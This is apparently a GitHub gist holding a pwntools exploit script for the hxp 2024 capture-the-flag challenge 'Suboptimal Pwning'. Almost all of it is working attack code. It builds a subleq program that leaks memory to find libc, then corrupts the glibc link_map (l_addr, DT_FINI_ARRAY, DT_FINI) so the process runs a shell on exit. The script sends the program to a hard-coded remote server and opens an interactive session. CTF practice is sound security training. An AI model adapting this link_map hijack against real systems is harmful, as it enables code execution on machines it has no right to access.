Created
December 29, 2024 20:22
-
-
Save dfyz/63196ac892ab7f30c5fef5080ba91a81 to your computer and use it in GitHub Desktop.
Suboptimal Pwning from hxp 2024
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from pwn import * | |
| context.arch = 'amd64' | |
| context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P'] | |
| def get_tube(): | |
| # returns (tube, use_pow) | |
| if args.LOCAL: | |
| return (process(['./sq', '/tmp/lol'], env={ | |
| # avoid running the leak detector on exit | |
| 'ASAN_OPTIONS': 'detect_leaks=0', | |
| }), False) | |
| else: | |
| return (remote('116.203.90.102', 10203), True) | |
| # return (remote('localhost', 10203), True) | |
| #################################### RAW GDB SCRIPT ############################################ | |
| # 1. link_map->l_addr = sh | |
| # set *(unsigned int*)($_base("libc") + 0x37b2e0) -= *(unsigned int*)($_base("libc") + 0x37b2e0) | |
| # set *(unsigned int*)($_base("libc") + 0x37b2e4) -= *(unsigned int*)($_base("libc") + 0x37b2e4) | |
| # set *(unsigned int*)($_base("libc") + 0x37b2e0) -= 0xffff978d | |
| # # 2. link_map->l_info[DT_FINI_ARRAY] (0x40 + 0x08 * 0x1a) = 0 | |
| # set *(unsigned int*)($_base("libc") + 0x37b3f0) -= *(unsigned int*)($_base("libc") + 0x37b3f0) | |
| # set *(unsigned int*)($_base("libc") + 0x37b3f4) -= *(unsigned int*)($_base("libc") + 0x37b3f4) | |
| # # 3. link_map->l_info[DT_FINI] (0x40 + 0x08 * 0xd) = fake DT_FINI | |
| # # 3a. Clear two auxiliary values, then make them contain the negative of what we need. | |
| # set *(unsigned int*)($_base("libc") + 0x37b3b0) -= *(unsigned int*)($_base("libc") + 0x37b3b0) | |
| # set *(unsigned int*)($_base("libc") + 0x37b3b4) -= *(unsigned int*)($_base("libc") + 0x37b3b4) | |
| # set *(unsigned int*)($_base("libc") + 0x37b3b0) -= *(unsigned int*)($_base("libc") + 0x2046c0) | |
| # set *(unsigned int*)($_base("libc") + 0x37b3b4) -= *(unsigned int*)($_base("libc") + 0x2046c4) | |
| # # 3b. Clear the fake DT_FINI, then subtract the negatives (0 - (-x) = x) | |
| # set *(unsigned int*)($_base("libc") + 0x37b388) -= *(unsigned int*)($_base("libc") + 0x37b388) | |
| # set *(unsigned int*)($_base("libc") + 0x37b38c) -= *(unsigned int*)($_base("libc") + 0x37b38c) | |
| # set *(unsigned int*)($_base("libc") + 0x37b388) -= *(unsigned int*)($_base("libc") + 0x37b3b0) | |
| # set *(unsigned int*)($_base("libc") + 0x37b38c) -= *(unsigned int*)($_base("libc") + 0x37b3b4) | |
| # set *(unsigned int*)($_base("libc") + 0x37b388) -= 0xffe25f08 | |
| # # 4. convert fake DT_FINI | |
| # set *(unsigned int*)($_base("libc") + 0x2046c0) -= 0xfffd86f3 | |
| #################################### ACTUAL SUBLEQ ############################################ | |
| # # 01 = BASE + 0x37b2e0 | |
| # # 02 = BASE + 0x37b2e4 | |
| # # 03 = CONST(0xffff978d) | |
| # # 04 = BASE + 0x37b3f0 | |
| # # 05 = BASE + 0x37b3f4 | |
| # # 06 = BASE + 0x37b3b0 | |
| # # 07 = BASE + 0x37b3b4 | |
| # # 08 = BASE + 0x2046c0 | |
| # # 09 = BASE + 0x2046c4 | |
| # # 10 = BASE + 0x37b388 | |
| # # 11 = BASE + 0x37b38c | |
| # # 12 = CONST(0xffe25f08) | |
| # # 13 = CONST(0xfffd86f3) | |
| # SUB(1, 1) | |
| # SUB(2, 2) | |
| # SUB(1, 3) | |
| # SUB(4, 4) | |
| # SUB(5, 5) | |
| # SUB(6, 6) | |
| # SUB(7, 7) | |
| # SUB(6, 8) | |
| # SUB(7, 9) | |
| # SUB(10, 10) | |
| # SUB(11, 11) | |
| # SUB(10, 6) | |
| # SUB(11, 7) | |
| # SUB(10, 12) | |
| # SUB(8, 13) | |
| if __name__ == '__main__': | |
| LIBC_SIG = b'\x7f\x02\x00\x00\x03\x01\x90\x00' | |
| PLACEHOLDER = 31_337_31_337 | |
| DUMMY = 0 | |
| MEM = [0] * 9999 | |
| N = len(MEM) | |
| E = 3 | |
| # Make at most this number of leaks. | |
| STEPS = 0xf0 | |
| # Leak starting from this offset. | |
| START_OFFSET = 0x149cfe0 // 4 | |
| PAGE_OFFSET = 0x1000 // 4 | |
| pc = 0 | |
| for bb in range(8): | |
| # MEM[E * bb] (for bb=0..7) are the current offsets to leak | |
| # initially, leak from the start offsets | |
| MEM[pc:pc+E] = [START_OFFSET + bb, -1, DUMMY] | |
| pc += E | |
| # print the newline | |
| MEM[pc:pc+E] = [PLACEHOLDER + 3, -1, DUMMY] | |
| pc += E | |
| # reset the confirmation to zero | |
| MEM[pc:pc+E] = [PLACEHOLDER + 2, PLACEHOLDER + 2, pc + E] | |
| pc += E | |
| # read confirmation to its cell | |
| MEM[pc:pc+E] = [-1, PLACEHOLDER + 2, DUMMY] | |
| pc += E | |
| # subtract zero from confirmation | |
| # if it was zero originally, break from the loop and execute the final payload | |
| to_jump = pc + E - 1 | |
| MEM[pc:pc+E] = [PLACEHOLDER, PLACEHOLDER + 2, None] | |
| pc += E | |
| # decrement leaked offsets | |
| for bb in range(8): | |
| MEM[pc:pc+E] = [PLACEHOLDER + 4, E * bb, DUMMY] | |
| pc += E | |
| # decrement the offsets in the main subleq payload | |
| decr_count = 15 * 2 - 3 # hardcoded, sorry not sorry | |
| decrs_start = pc | |
| for _ in range(decr_count): | |
| MEM[pc:pc+E] = [None]*3 | |
| pc += E | |
| # unconditionally jump to the beginning of the program | |
| MEM[pc:pc+E] = [PLACEHOLDER, PLACEHOLDER, 0] | |
| pc += E | |
| payload_start = pc | |
| MEM[to_jump] = payload_start | |
| log.info('payload_start: %d', payload_start) | |
| # PLACEHOLDER-??? is the subleq payload | |
| # diff to account for libstdbuf.so in the full Docker | |
| ld_diff = 0x3000//4 | |
| # 1. | |
| # SUB(1, 1) | |
| MEM[pc:pc+E] = [START_OFFSET + 0x37b2e0//4 + ld_diff, START_OFFSET + 0x37b2e0//4 + ld_diff, pc + E] | |
| pc += E | |
| # SUB(2, 2) | |
| MEM[pc:pc+E] = [START_OFFSET + 0x37b2e4//4 + ld_diff, START_OFFSET + 0x37b2e4//4 + ld_diff, pc + E] | |
| pc += E | |
| # SUB(1, 3) | |
| MEM[pc:pc+E] = [PLACEHOLDER + 5, START_OFFSET + 0x37b2e0//4 + ld_diff, pc + E] | |
| pc += E | |
| # SUB(4, 4) | |
| MEM[pc:pc+E] = [START_OFFSET + 0x37b3f0//4 + ld_diff, START_OFFSET + 0x37b3f0//4 + ld_diff, pc + E] | |
| pc += E | |
| # SUB(5, 5) | |
| MEM[pc:pc+E] = [START_OFFSET + 0x37b3f4//4 + ld_diff, START_OFFSET + 0x37b3f4//4 + ld_diff, pc + E] | |
| pc += E | |
| # SUB(6, 6) | |
| MEM[pc:pc+E] = [START_OFFSET + 0x37b3b0//4 + ld_diff, START_OFFSET + 0x37b3b0//4 + ld_diff, pc + E] | |
| pc += E | |
| # SUB(7, 7) | |
| MEM[pc:pc+E] = [START_OFFSET + 0x37b3b4//4 + ld_diff, START_OFFSET + 0x37b3b4//4 + ld_diff, pc + E] | |
| pc += E | |
| # SUB(6, 8) | |
| MEM[pc:pc+E] = [START_OFFSET + 0x2046c0//4, START_OFFSET + 0x37b3b0//4 + ld_diff, pc + E] | |
| pc += E | |
| # SUB(7, 9) | |
| MEM[pc:pc+E] = [START_OFFSET + 0x2046c4//4, START_OFFSET + 0x37b3b4//4 + ld_diff, pc + E] | |
| pc += E | |
| # SUB(10, 10) | |
| MEM[pc:pc+E] = [START_OFFSET + 0x37b388//4 + ld_diff, START_OFFSET + 0x37b388//4 + ld_diff, pc + E] | |
| pc += E | |
| # SUB(11, 11) | |
| MEM[pc:pc+E] = [START_OFFSET + 0x37b38c//4 + ld_diff, START_OFFSET + 0x37b38c//4 + ld_diff, pc + E] | |
| pc += E | |
| # SUB(10, 6) | |
| MEM[pc:pc+E] = [START_OFFSET + 0x37b3b0//4 + ld_diff, START_OFFSET + 0x37b388//4 + ld_diff, pc + E] | |
| pc += E | |
| # SUB(11, 7) | |
| MEM[pc:pc+E] = [START_OFFSET + 0x37b3b4//4 + ld_diff, START_OFFSET + 0x37b38c//4 + ld_diff, pc + E] | |
| pc += E | |
| # SUB(10, 12) | |
| MEM[pc:pc+E] = [PLACEHOLDER + 6, START_OFFSET + 0x37b388//4 + ld_diff, pc + E] | |
| pc += E | |
| # SUB(8, 13) | |
| MEM[pc:pc+E] = [PLACEHOLDER + 7, START_OFFSET + 0x2046c0//4, pc + E] | |
| pc += E | |
| # EXIT | |
| MEM[pc:pc+E] = [PLACEHOLDER, PLACEHOLDER, -1] | |
| pc += E | |
| after_steps = pc | |
| # PLACEHOLDER+0 is const zero. | |
| MEM[after_steps + 0] = 0 | |
| pc += 1 | |
| # PLACEHOLDER+1 is the const address of the confirmation. | |
| MEM[after_steps + 1] = after_steps + 2 | |
| pc += 1 | |
| # PLACEHOLDER+2 is the confirmation we read. | |
| pc += 1 | |
| # PLACEHOLDER+3 is the newline. | |
| MEM[after_steps + 3] = 0xa | |
| pc += 1 | |
| # PLACEHOLDER+4 is the delta to decrement the current offset | |
| MEM[after_steps + 4] = PAGE_OFFSET | |
| pc += 1 | |
| # PLACEHOLDER+5 is const 03 | |
| MEM[after_steps + 5] = -26739 | |
| pc += 1 | |
| # PLACEHOLDER+6 is const 12 | |
| MEM[after_steps + 6] = -1941752 | |
| pc += 1 | |
| # PLACEHOLDER+7 is const 13 | |
| MEM[after_steps + 7] = -162061 | |
| pc += 1 | |
| start_addr = payload_start | |
| to_patch = decrs_start | |
| real_decr_count = 0 | |
| while True: | |
| if MEM[start_addr:start_addr + E] == [PLACEHOLDER, PLACEHOLDER, -1]: | |
| # got an exit nothing to patch | |
| break | |
| for bb in range(E): | |
| if START_OFFSET < MEM[start_addr + bb] < PLACEHOLDER: | |
| MEM[to_patch:to_patch+E] = [PLACEHOLDER + 4, start_addr + bb, DUMMY] | |
| real_decr_count += 1 | |
| to_patch += E | |
| start_addr += E | |
| assert decr_count == real_decr_count, (decr_count, real_decr_count) | |
| log.success('Needed %d instructions', pc) | |
| for ii, val in enumerate(MEM): | |
| if val >= PLACEHOLDER - 10_000: | |
| MEM[ii] -= PLACEHOLDER | |
| MEM[ii] += after_steps | |
| prog = ' '.join(map(str, MEM)) + ' LOLEOF' | |
| with open('/tmp/lol', 'w') as f: | |
| print(prog, file=f) | |
| raw_tube, use_pow = get_tube() | |
| with raw_tube as tube: | |
| # gdb.attach(tube) | |
| if use_pow: | |
| our_pow = tube.recvline().decode() | |
| log.info(our_pow) | |
| pattern = r'unhex\("([^"]+)" \+ S\).*?(\d+) zero bits' | |
| import re | |
| match = re.search(pattern, our_pow) | |
| assert match | |
| hex_string = match.group(1) # "cee2e04a7b2ad2c5" | |
| zero_bits = match.group(2) # 26 | |
| import subprocess | |
| # pow_solver = '/lol/pow-solver' | |
| pow_solver = './pow-solver-nixos' | |
| pow_res = subprocess.check_output([pow_solver, zero_bits, hex_string]).strip() | |
| log.info('Got PoW res: %s', pow_res) | |
| tube.sendline(pow_res) | |
| payload = prog.encode() | |
| tube.sendlineafter(b'Please give your subleq program: ', payload) | |
| echoed = tube.recvuntil(b'LOLEOF') | |
| # gdb.attach(tube) | |
| cur_offset = START_OFFSET | |
| for ss in range(STEPS): | |
| sig = b'' | |
| expected = 9 | |
| while len(sig) != expected: | |
| sig += tube.read(expected) | |
| assert sig[-1] == 0xa | |
| if sig[:-1] == LIBC_SIG: | |
| log.success('Found after %d steps, offset 0x%x', ss, cur_offset) | |
| # pause() | |
| tube.send(b'\x00') | |
| break | |
| else: | |
| log.info('Not found after %d steps', ss) | |
| tube.send(b'B') | |
| cur_offset -= PAGE_OFFSET | |
| tube.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment